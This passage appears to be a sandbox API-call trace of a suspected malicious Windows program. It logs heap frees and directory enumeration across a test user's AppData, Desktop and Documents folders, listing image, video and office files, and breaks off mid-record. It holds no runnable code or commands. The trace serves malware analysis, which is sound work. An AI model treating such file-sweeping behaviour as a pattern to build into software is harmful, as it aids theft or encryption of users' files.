[0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152f8 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15568 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b155d0 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15638 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da20 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b156a0 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0dad0 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15708 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0db28 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15770 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0db80 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0dbd8 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b153c8 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d658 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0111.676] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.676] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0111.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0111.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.676] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.676] PathFindFileNameW (pszPath="") returned="" [0111.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0111.676] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.676] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0111.676] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0111.676] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0111.676] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0111.676] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.676] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.677] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.677] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\") returned="f_-8oBARRP9-U\\" [0111.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0111.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.677] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.677] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.677] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.677] PathFindFileNameW (pszPath="") returned="" [0111.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.678] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34917820, ftCreationTime.dwHighDateTime=0x1d4cabf, ftLastAccessTime.dwLowDateTime=0xbf66eeb0, ftLastAccessTime.dwHighDateTime=0x1d4ce95, ftLastWriteTime.dwLowDateTime=0xbf66eeb0, ftLastWriteTime.dwHighDateTime=0x1d4ce95, nFileSizeHigh=0x0, nFileSizeLow=0x14bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4gyquRJLFk4EHaxRY.jpg", cAlternateFileName="4GYQUR~1.JPG")) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ee10f0, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x9b376140, ftLastAccessTime.dwHighDateTime=0x1d4cc43, ftLastWriteTime.dwLowDateTime=0x9b376140, ftLastWriteTime.dwHighDateTime=0x1d4cc43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bFT9ci 8fZ3bljOH", cAlternateFileName="BFT9CI~1")) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28808db0, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0x43715870, ftLastAccessTime.dwHighDateTime=0x1d4d144, ftLastWriteTime.dwLowDateTime=0x43715870, ftLastWriteTime.dwHighDateTime=0x1d4d144, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fDU6skWeF5QU.swf", cAlternateFileName="FDU6SK~1.SWF")) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e321c0, ftCreationTime.dwHighDateTime=0x1d4c7da, ftLastAccessTime.dwLowDateTime=0xe2857cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0xe2857cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0xa93, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rz.mkv", cAlternateFileName="")) returned 1 [0111.679] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e321c0, ftCreationTime.dwHighDateTime=0x1d4c7da, ftLastAccessTime.dwLowDateTime=0xe2857cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0xe2857cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0xa93, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rz.mkv", cAlternateFileName="")) returned 0 [0111.679] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.679] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.679] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0111.679] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\") returned="JiLyW4X cG7WzlVAVa\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.680] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.680] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.680] PathFindFileNameW (pszPath="") returned="" [0111.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.680] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecbd8 | out: hHeap=0x5010000) returned 1 [0111.680] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.680] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hIl-xN3DRO3pVP", cAlternateFileName="HIL-XN~1")) returned 1 [0111.680] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hIl-xN3DRO3pVP", cAlternateFileName="HIL-XN~1")) returned 0 [0111.680] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.680] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.680] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0111.680] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\") returned="j_8df4HNVB0C0RCpZ-GV\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.680] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.680] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.681] PathFindFileNameW (pszPath="") returned="" [0111.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j_8df4HNVB0C0RCpZ-GV\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.682] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0111.682] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.682] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x394d6ad0, ftCreationTime.dwHighDateTime=0x1d4cd36, ftLastAccessTime.dwLowDateTime=0x226e3710, ftLastAccessTime.dwHighDateTime=0x1d4c834, ftLastWriteTime.dwLowDateTime=0x226e3710, ftLastWriteTime.dwHighDateTime=0x1d4c834, nFileSizeHigh=0x0, nFileSizeLow=0xb96c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ms3o6q-3xW GcAnXpq.gif", cAlternateFileName="MS3O6Q~1.GIF")) returned 1 [0111.682] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c70e2c0, ftCreationTime.dwHighDateTime=0x1d4d57e, ftLastAccessTime.dwLowDateTime=0x56f24b60, ftLastAccessTime.dwHighDateTime=0x1d4d177, ftLastWriteTime.dwLowDateTime=0x56f24b60, ftLastWriteTime.dwHighDateTime=0x1d4d177, nFileSizeHigh=0x0, nFileSizeLow=0x65cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="r5Pp7fI T0KSM.png", cAlternateFileName="R5PP7F~1.PNG")) returned 1 [0111.682] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c848b0, ftCreationTime.dwHighDateTime=0x1d4cd4d, ftLastAccessTime.dwLowDateTime=0x50df8800, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0x50df8800, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x151ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UBEx-NT eGDNRaXEsmrT.mkv", cAlternateFileName="UBEX-N~1.MKV")) returned 1 [0111.682] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c848b0, ftCreationTime.dwHighDateTime=0x1d4cd4d, ftLastAccessTime.dwLowDateTime=0x50df8800, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0x50df8800, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x151ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UBEx-NT eGDNRaXEsmrT.mkv", cAlternateFileName="UBEX-N~1.MKV")) returned 0 [0111.682] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.683] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.683] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0111.683] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\") returned="BXteOBXIuKySqXgo0\\" [0111.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.683] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.683] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.683] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.683] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.683] PathFindFileNameW (pszPath="") returned="" [0111.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BXteOBXIuKySqXgo0\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.685] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecb50 | out: hHeap=0x5010000) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ab8ad0, ftCreationTime.dwHighDateTime=0x1d4d06a, ftLastAccessTime.dwLowDateTime=0x88f5cdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6f3, ftLastWriteTime.dwLowDateTime=0x88f5cdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6f3, nFileSizeHigh=0x0, nFileSizeLow=0x13549, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7 dXcVMStPKkVLbTfdBI.ots", cAlternateFileName="7DXCVM~1.OTS")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aeffb40, ftCreationTime.dwHighDateTime=0x1d4d288, ftLastAccessTime.dwLowDateTime=0x414430a0, ftLastAccessTime.dwHighDateTime=0x1d4d233, ftLastWriteTime.dwLowDateTime=0x414430a0, ftLastWriteTime.dwHighDateTime=0x1d4d233, nFileSizeHigh=0x0, nFileSizeLow=0x185f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d5n1rI-2s-1o0b.ppt", cAlternateFileName="D5N1RI~1.PPT")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfd2450, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xba48a540, ftLastAccessTime.dwHighDateTime=0x1d4c940, ftLastWriteTime.dwLowDateTime=0xba48a540, ftLastWriteTime.dwHighDateTime=0x1d4c940, nFileSizeHigh=0x0, nFileSizeLow=0xe3a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KRmH1t.pps", cAlternateFileName="")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e63ba0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0xae51b230, ftLastAccessTime.dwHighDateTime=0x1d4d4d1, ftLastWriteTime.dwLowDateTime=0xae51b230, ftLastWriteTime.dwHighDateTime=0x1d4d4d1, nFileSizeHigh=0x0, nFileSizeLow=0x21ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmoBqjYuc7dMqxVQYl.odt", cAlternateFileName="TMOBQJ~1.ODT")) returned 1 [0111.686] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d67b60, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0xfe98a7f0, ftLastAccessTime.dwHighDateTime=0x1d4cd1d, ftLastWriteTime.dwLowDateTime=0xfe98a7f0, ftLastWriteTime.dwHighDateTime=0x1d4cd1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 